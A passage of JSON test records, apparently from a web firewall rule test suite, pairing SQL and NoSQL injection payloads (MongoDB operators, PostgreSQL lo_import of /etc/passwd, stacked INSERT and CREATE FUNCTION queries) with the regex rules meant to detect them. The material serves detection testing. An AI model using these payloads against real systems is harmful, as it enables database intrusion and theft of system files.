per)|pN?)|r(?:im|unc)|s(?:Increment|Second)|ype)|unset|w(?:eek|here)|zip)\\]?", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942290", "test_description": "basic MongoDB NOSQL injection attempts 6" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"$elemMatch\": \"foo\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\[?\\$(?:a(?:bs|c(?:cumulator|osh?)|dd(?:ToSet)?|ll(?:ElementsTrue)?|n(?:d|yElementTrue)|rray(?:ElemA|ToObjec)t|sinh?|tan[2h]?|vg)|b(?:etween|i(?:narySize|t(?:And|Not|(?:O|Xo)r)?)|ottomN?|sonSize|ucket(?:Auto)?)|c(?:eil|mp|o(?:n(?:cat(?:Arrays)?|d|vert)|sh?|unt|variance(?:Po|Sam)p)|urrentDate)|d(?:a(?:te(?:Add|Diff|From(?:Parts|String)|Subtract|T(?:o(?:Parts|String)|runc))|yOf(?:Month|Week|Year))|e(?:greesToRadians|nseRank|rivative)|iv(?:ide)?|ocumentNumber)|e(?:(?:a|lemMat)ch|q|x(?:ists|p(?:MovingAvg|r)?))|f(?:i(?:lter|rstN?)|loor|unction)|g(?:etField|roup|te?)|(?:hou|xo|yea)r|i(?:fNull|n(?:c|dexOf(?:Array|Bytes|CP)|tegral)?|s(?:Array|Number|o(?:DayOfWeek|Week(?:Year)?)))|jsonSchema|l(?:astN?|et|i(?:ke|(?:nearFil|tera)l)|n|o(?:cf|g(?:10)?)|t(?:e|rim)?)|m(?:a(?:p|xN?)|e(?:dian|rgeObjects|ta)|i(?:llisecond|n(?:N|ute)?)|o(?:d|nth)|ul(?:tiply)?)|n(?:atural|e|in|o[rt])|o(?:bjectToArray|r)|p(?:ercentile|o(?:[pw]|sition)|roject|u(?:ll(?:All)?|sh))|r(?:a(?:diansToDegrees|n(?:[dk]|ge))|e(?:(?:duc|nam)e|gex(?:Find(?:All)?|Match)?|place(?:All|One)|verseArray)|ound|trim)|s(?:(?:ampleRat|lic)e|e(?:cond|t(?:Difference|(?:Equal|WindowField)s|Field|I(?:ntersection|sSubset)|OnInsert|Union)?)|(?:hif|pli|qr)t|i(?:nh?|ze)|ort(?:Array)?|t(?:dDev(?:Po|Sam)p|r(?:Len(?:Bytes|CP)|casecmp))|u(?:b(?:str(?:Bytes|CP)?|tract)|m)|witch)|t(?:anh?|ext|o(?:Bool|D(?:(?:at|oubl)e|ecimal)|HashedIndexKey|Int|Lo(?:ng|wer)|ObjectId|String|U(?:UID|pper)|pN?)|r(?:im|unc)|s(?:Increment|Second)|ype)|unset|w(?:eek|here)|zip)\\]?", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942290", "test_description": "basic MongoDB NOSQL injection attempts 7" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"$text\": \"foo\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\[?\\$(?:a(?:bs|c(?:cumulator|osh?)|dd(?:ToSet)?|ll(?:ElementsTrue)?|n(?:d|yElementTrue)|rray(?:ElemA|ToObjec)t|sinh?|tan[2h]?|vg)|b(?:etween|i(?:narySize|t(?:And|Not|(?:O|Xo)r)?)|ottomN?|sonSize|ucket(?:Auto)?)|c(?:eil|mp|o(?:n(?:cat(?:Arrays)?|d|vert)|sh?|unt|variance(?:Po|Sam)p)|urrentDate)|d(?:a(?:te(?:Add|Diff|From(?:Parts|String)|Subtract|T(?:o(?:Parts|String)|runc))|yOf(?:Month|Week|Year))|e(?:greesToRadians|nseRank|rivative)|iv(?:ide)?|ocumentNumber)|e(?:(?:a|lemMat)ch|q|x(?:ists|p(?:MovingAvg|r)?))|f(?:i(?:lter|rstN?)|loor|unction)|g(?:etField|roup|te?)|(?:hou|xo|yea)r|i(?:fNull|n(?:c|dexOf(?:Array|Bytes|CP)|tegral)?|s(?:Array|Number|o(?:DayOfWeek|Week(?:Year)?)))|jsonSchema|l(?:astN?|et|i(?:ke|(?:nearFil|tera)l)|n|o(?:cf|g(?:10)?)|t(?:e|rim)?)|m(?:a(?:p|xN?)|e(?:dian|rgeObjects|ta)|i(?:llisecond|n(?:N|ute)?)|o(?:d|nth)|ul(?:tiply)?)|n(?:atural|e|in|o[rt])|o(?:bjectToArray|r)|p(?:ercentile|o(?:[pw]|sition)|roject|u(?:ll(?:All)?|sh))|r(?:a(?:diansToDegrees|n(?:[dk]|ge))|e(?:(?:duc|nam)e|gex(?:Find(?:All)?|Match)?|place(?:All|One)|verseArray)|ound|trim)|s(?:(?:ampleRat|lic)e|e(?:cond|t(?:Difference|(?:Equal|WindowField)s|Field|I(?:ntersection|sSubset)|OnInsert|Union)?)|(?:hif|pli|qr)t|i(?:nh?|ze)|ort(?:Array)?|t(?:dDev(?:Po|Sam)p|r(?:Len(?:Bytes|CP)|casecmp))|u(?:b(?:str(?:Bytes|CP)?|tract)|m)|witch)|t(?:anh?|ext|o(?:Bool|D(?:(?:at|oubl)e|ecimal)|HashedIndexKey|Int|Lo(?:ng|wer)|ObjectId|String|U(?:UID|pper)|pN?)|r(?:im|unc)|s(?:Increment|Second)|ype)|unset|w(?:eek|here)|zip)\\]?", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942290", "test_description": "basic MongoDB NOSQL injection attempts 8" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=procedure%20analyse%20%28" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects MySQL and PostgreSQL stored procedure/function injections" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=exec+%28%40%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects MySQL and PostgreSQL stored procedure/function injections" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=declare+%40b%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects MySQL and PostgreSQL stored procedure/function injections" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=DECLARE%2F%2A%2A%2F%40x%0A" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects MySQL and PostgreSQL stored procedure/function injections" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=password::int" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects PostgreSQL data conversion with ::int" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "no=2&id=1%27%20and%20unistr(password)::bool--" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects PostgreSQL data conversion with ::bool" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=div(23,-2)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects PostgreSQL bypass attempt with div(23,-2) - issue #2910" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=div+(23.23+,+2)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects PostgreSQL bypass attempt with div (23.23 , 2) - issue #2910" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=lo_import(%27/etc%27%20||%20%27/pass%27%20||%20%27wd%27)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects PostgreSQL bypass attempt lo_import'( - issue #2912" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=lo_get(16400)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects PostgreSQL bypass attempt with lo_get(16400) - issue #2924" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=function(foo)::text" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects PostgreSQL bypass attempt function(foo)::text - issue #2924" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=function(foo)::bigint" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects PostgreSQL bypass attempt function(foo)::bigint - issue #2924" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "id=function(foo)::double%20precision" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+(?:function|procedure)[\\s\\x0b]*?[0-9A-Z_a-z]+[\\s\\x0b]*?\\([\\s\\x0b]*?\\)[\\s\\x0b]*?-|d(?:eclare[^0-9A-Z_a-z]+[#@][\\s\\x0b]*?[0-9A-Z_a-z]+|iv[\\s\\x0b]*?\\([\\+\\-]*[\\s\\x0b\\.0-9]+,[\\+\\-]*[\\s\\x0b\\.0-9]+\\))|exec[\\s\\x0b]*?\\([\\s\\x0b]*?@|(?:lo_(?:impor|ge)t|procedure[\\s\\x0b]+analyse)[\\s\\x0b]*?\\(|;[\\s\\x0b]*?(?:declare|open)[\\s\\x0b]+[\\-0-9A-Z_a-z]+|::(?:b(?:igint|ool)|double[\\s\\x0b]+precision|int(?:eger)?|numeric|oid|real|(?:tex|smallin)t)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942320", "test_description": "Detects PostgreSQL bypass attempt function(foo)::double precision - issue #2924" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%3bINSERT%20INTO%20table%20%28col%29%20VALUES" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+function[\\s\\x0b].+[\\s\\x0b]returns|;[\\s\\x0b]*?(?:alter|(?:(?:cre|trunc|upd)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)\\b[\\s\\x0b]*?[\\(\\[]?[0-9A-Z_a-z]{2,}", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942350", "test_description": "MySQL UDF injection and other data/structure manipulation" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=%3Binsertion_424242" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+function[\\s\\x0b].+[\\s\\x0b]returns|;[\\s\\x0b]*?(?:alter|(?:(?:cre|trunc|upd)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)\\b[\\s\\x0b]*?[\\(\\[]?[0-9A-Z_a-z]{2,}", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942350", "test_description": "Fix for FP reported in GitHub issue 1587" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=CREATE+FUNCTION+hello+%28s+CHAR%2820%29%29+RETURNS+CHAR%2850%29+DETERMINISTIC+RETURN+CONCAT%28%27Hello%2C+%27%2Cs%2C%27%21%27%29%3B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)create[\\s\\x0b]+function[\\s\\x0b].+[\\s\\x0b]returns|;[\\s\\x0b]*?(?:alter|(?:(?:cre|trunc|upd)at|renam)e|d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load)\\b[\\s\\x0b]*?[\\(\\[]?[0-9A-Z_a-z]{2,}", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942350", "test_description": "MySQL create function injection" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=;truncate[xx" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", 